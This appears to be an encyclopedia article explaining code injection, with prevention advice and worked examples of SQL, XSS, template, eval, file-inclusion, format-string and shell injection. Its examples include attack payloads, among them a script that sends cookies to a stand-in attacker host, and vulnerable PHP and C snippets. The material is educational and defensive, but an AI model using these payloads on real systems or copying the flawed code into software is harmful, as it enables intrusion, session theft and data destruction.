Code injection

Not to be confused withDependency injection.

Code injectionis a class ofcomputer security exploitsin which a vulnerablecomputer programis tricked into misinterpreting external data as part of its code. Anattackerthereby "injects"codeinto the program and changes the course of itsexecution.The result of successful code injection can be disastrous, for example, by allowingcomputer virusesorcomputer wormsto propagate.

Code injection vulnerabilities occur when an application sends untrusted data to aninterpreter.Injection flaws are most often found inSQL,LDAP,XPath,NoSQLqueries,OScommands,XMLparsers,SMTPheaders, program arguments, etc. Injection flaws tend to be easier to discover when examining source code than via testing.Scanners andfuzzerscan help find injection flaws.

Injection can result indata lossor corruption, lack of accountability, ordenial of access.Injection can sometimes lead to complete host takeover.

Certain types of code injection are errors in interpretation, giving special meaning to user input. Similar interpretation errors exist outside the world of computer science such as the comedy routine"Who's on First?".In some types of code injection, there is a failure to distinguish user input from system commands.

Code injection techniques are popular in systemhackingorcrackingto gain information,privilege escalationor unauthorized access to a system. Code injection can be used malevolently for many purposes, including:

• Arbitrarily modifying values in adatabasethroughSQL injection.The impact of this can range fromwebsite defacementto serious compromise of sensitive data.
• Installingmalwareor executing malevolent code on a server by injecting server scripting code (such asPHPorASP).
• Privilege escalationtorootpermissions by exploiting shell injection vulnerabilities in asetuid rootbinary on UNIX, orLocal Systemby exploiting a service onMicrosoft Windows.
• Attacking web users withHTML/script injection (Cross-site scripting).

Code injection attacks inInternet of Thingscould also lead to severe consequences like data breaches and service disruption.

In 2008, 5.66% of all vulnerabilities reported that year were classified as code injection, the highest year on record. In 2015, this had decreased to 0.77%.

Benign and unintentional use

Code injection may be done with good intentions; for example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without any malicious intent.Code injection could, for example:

• Introduce a useful new column that did not appear in the original design of a search results page.
• Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
• As regards to programs likeDropbox,add special parts that could be used to connect to online resources in an offline program.
• Utilize the LinuxDynamic Linkerto define a function with the same name as certainlibcfunctions, link that function as a library, and override the use of the libc function.

Some users may unsuspectingly perform code injection because the input they provided to a program was not considered by those who originally developed the system. For example:

• What the user may consider a valid input may contain token characters orcharacter stringsthat have beenreservedby the developer to have special meaning (perhaps the "&" in "Shannon & Jason," or quotation marks as in "Bub 'Slugger' McCracken" ).
• The user may submit a malformed file as input that is handled properly in one application, but is toxic to the receiving system.

Another benign use of code injection would be the discovery of injection flaws themselves, with the intention of fixing these flaws. This is known as awhite hatpenetration test.

Preventing problems

To prevent code injection problems, utilize secure input and output handling, such as:

• Using APIs that, if used properly, are secure against all input characters. Parameterized queries (also known as "Compiled queries", "prepared statements", "bound variables" ) allows for moving user data out of string to be interpreted. Additionally Criteria APIand similar APIs move away from the concept of command strings to be created and interpreted.
• Enforcing language separation via astatic type system.
• Validating or "sanitizing" input, such aswhitelistingknown good values. This can be done on client side, which is prone to modification by malicious users, or on the server side, which is more secure.
• Encoding input, e.g. escaping dangerous characters. For instance, in PHP, using thehtmlspecialchars()function to escape special characters for safe output of text in HTML, andmysqli::real_escape_string()to isolate data which will be included in anSQLrequest, to protect againstSQL Injection.
• Encoding output, i.e. preventingHTML Injection (XSS)attacks against web site visitors
• Using theHttpOnlyflag forHTTP Cookies.When set, this flag does not allow client-side script interaction with cookies, thereby preventing certainXSSattacks.
• Modular shell disassociation fromkernel
• WithSQL Injection,one can useparameterized queries,stored procedures,whitelist input validation, and more to help mitigate Code Injection problems.

The solutions listed above deal primarily with web-based injection ofHTMLor script code into a server-side application. Other approaches must be taken, however, when dealing with injection of user code on the user machine, resulting in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:

• Runtime imagehashvalidation – capture a hash of a part or complete image of the executable loaded into memory, and compare it with stored and expected hash.
• NX bit– all user data is stored in a special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory, and refuses to execute anything found in there.
• Canaries– randomly place values in a stack. At runtime, a canary is checked when a function returns. If a canary has been modified, the program stops execution and exits. This occurs on aStack Overflow Attack.
• [In C] Code Pointer Masking (CPM) – after loading a (potentially changed) code pointer into a register, apply abitmaskto the pointer. This effectively restricts the addresses to which the pointer can refer.

Examples

SQL injection

Main article:SQL injection

An SQL injection takes advantage ofSQLsyntax to inject malicious commands that can read or modify a database, or compromise the meaning of the original query.

For example, consider a web page that has two fields to allow users to enter a username and a password. The code behind the page will generate an SQL query to check the password against the list of user names:

SELECTUserList.Username
FROMUserList
WHEREUserList.Username='Username'
ANDUserList.Password='Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (password' OR '1'='1) in the Password field, then the resulting query will look like this:

SELECTUserList.Username
FROMUserList
WHEREUserList.Username='Username'
ANDUserList.Password='Password'OR'1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'"will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

Assume a query with the following format:

SELECTUser.UserID
FROMUser
WHEREUser.UserID=' "+ UserID +" '
ANDUser.Pwd=' "+ Password +" '

If an adversary has the following for inputs:

UserID: ';DROP TABLE User; --'

Password: 'OR "='

the query will be parsed as:

SELECTUser.UserID
FROMUser
WHEREUser.UserID='';DROPTABLEUser;--'AND Pwd = ''OR "='

The result is that the tableUserwill be removed from the database. This occurs because the;symbol signifies the end of one command and the start of a new one.--signifies the start of a comment.

Cross-site scripting

Main article:Cross-site scripting

Code injection is the malicious injection or introduction of code into an application. Someweb servershave aguestbookscript, which accepts small messages from users, and typically receives messages such as:

Very nice site!

However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as:

Nice site, I think I'll take it.<script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal="+escape(document.cookie)</script>

If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.

HTML and script injection is a popular subject, commonly termed "cross-site scripting"or" XSS ". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.

Server Side Template Injection

Template enginesare often used in modernWeb applicationto display dynamic data. However, trusting non validated user data can frequently lead to critical vulnerabilitiessuch as Server Side Template Injections. While this vulnerability is similar toCross-site scripting,template injection can be leverage to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications which often use user inputs and templates to render a web page. The example below shows the concept. Here the template{{visitor_name}}is replaced with data during the rendering process.

Hello {{visitor_name}}

An attacker can use this workflow to inject code into the rendering pipeline by providing a maliciousvisitor_name.Depending on the implementation of the web application, he could choose to inject{{7*'7'}}which the renderer could resolve toHello 7777777.Note that the actual web server has evaluated the malicious code and therefore could be vulnerable toRemote code execution.

Dynamic evaluation vulnerabilities

Aneval()injection vulnerability occurs when an attacker can control all or part of an input string that is fed into aneval()function call.

$myvar='somevalue';
$x=$_GET['arg'];
eval('$myvar = '.$x.';');

The argument of "eval"will be processed asPHP,so additional commands can be appended. For example, if "arg" is set to "10;system('/bin/echo uh-oh')",additional code is run which executes a program on the server, in this case"/bin/echo".

Object injection

PHPallowsserializationanddeserializationof wholeobjects.If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.Such an attack onJoomlawas found in 2013.

Remote file injection

Main article:File inclusion vulnerability

Consider this PHP program (which includes a file specified by request):

<?php
$color='blue';
if(isset($_GET['color']))
$color=$_GET['color'];
require($color.'.php');

The example might be read as only color-files likeblue.phpandred.phpcould be loaded, while attackers might provideCOLOR=http://evil.com/exploitcausing PHP to load the external file.

Format specifier injection

Main article:Uncontrolled format string

Format string bugs most commonly appear when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly writeprintf(buffer)instead ofprintf( "%s", buffer).The first version interpretsbufferas a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char arraypasswordwhich holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.

charuser_input[100];
intint_in;
charpassword[10]="Password1";

printf("Enter an integer\n");
scanf("%d",&int_in);
printf("Please enter a string\n");
fgets(user_input,sizeof(user_input),stdin);

printf(user_input);// Safe version is: printf( "%s", user_input);
printf("\n");

return0;

If the user input is filled with a list of format specifiers such as%s%s%s%s%s%s%s%s,thenprintf()will start reading from thestack.Eventually, one of the%sformat specifier will access the address ofpassword,which is on the stack, and printPassword1to the screen.

Shell injection

Shell injection (or command injection) is named afterUnix shells,but applies to most systems which allow software to programmatically execute acommand line.Here is an example vulnerabletcshscript:

#!/bin/tcsh
# check arg outputs it matches if arg is one
if($1==1)echoit matches

If the above is stored in the executable file./check,the shell command./check "1 ) evil"will attempt to execute the injected shell commandevilinstead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter in order to defend against an attack.

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these aresystem(),StartProcess(),andSystem.Diagnostics.Process.Start().

Client–serversystems such asweb browserinteraction withweb serversare potentially vulnerable to shell injection. Consider the following shortPHPprogram that can run on aweb serverto run an external program calledfunnytextto replace a word the user sent with some other word.

<?php
passthru("/bin/funnytext".$_GET['USER_INPUT']);

Thepassthruin the above composes a shell command that is then executed by the web server. Since part of the command it composes is taken from theURLprovided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):

Shell feature	USER_INPUTvalue	Resulting shell command	Explanation
Sequential execution	;malicious_command	/bin/funnytext; malicious_command	Executesfunnytext,then executesclose_command.
Pipelines	| malicious_command	/bin/funnytext | malicious_command	Sends the output offunnytextas input tomalicious_command.
Command substitution	`malicious_command`	/bin/funnytext `malicious_command`	Sends the output ofmalicious_commandas arguments tofunnytext.
Command substitution	$(malicious_command)	/bin/funnytext $(malicious_command)	Sends the output ofmalicious_commandas arguments tofunnytext.
AND list	&& malicious_command	/bin/funnytext && malicious_command	Executesmalicious_commandifffunnytextreturns an exit status of 0 (success).
OR list	|| malicious_command	/bin/funnytext || malicious_command	Executesmalicious_commandifffunnytextreturns a nonzero exit status (error).
Output redirection	> ~/.bashrc	/bin/funnytext > ~/.bashrc	Overwrites the contents the.bashrcfile with the output offunnytext.
Input redirection	< ~/.bashrc	/bin/funnytext < ~/.bashrc	Sends the contents of the.bashrcfile as input tofunnytext.

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

• PHP:escapeshellarg()andescapeshellcmd()
• Python:shlex.quote()

However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

A safer alternative is to use APIs that execute external programs directly, rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells, and/or to be more cumbersome/verbose compared to concise shell-syntax.

See also

• Arbitrary code execution
• File inclusion vulnerability
• Gadget (machine instruction sequence)
• Prompt injection
• Shellshock (software bug)
• SQL injection
• Unintended instructions

External links

• Article "Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)"by Tadeusz Pietraszek and Chris Vanden Berghe
• News article "Flux spreads wider"- FirstTrojan horseto make use of code injection to prevent detection from afirewall
• The Daily WTFregularly reports real-world incidencesof susceptibility to code injection in software.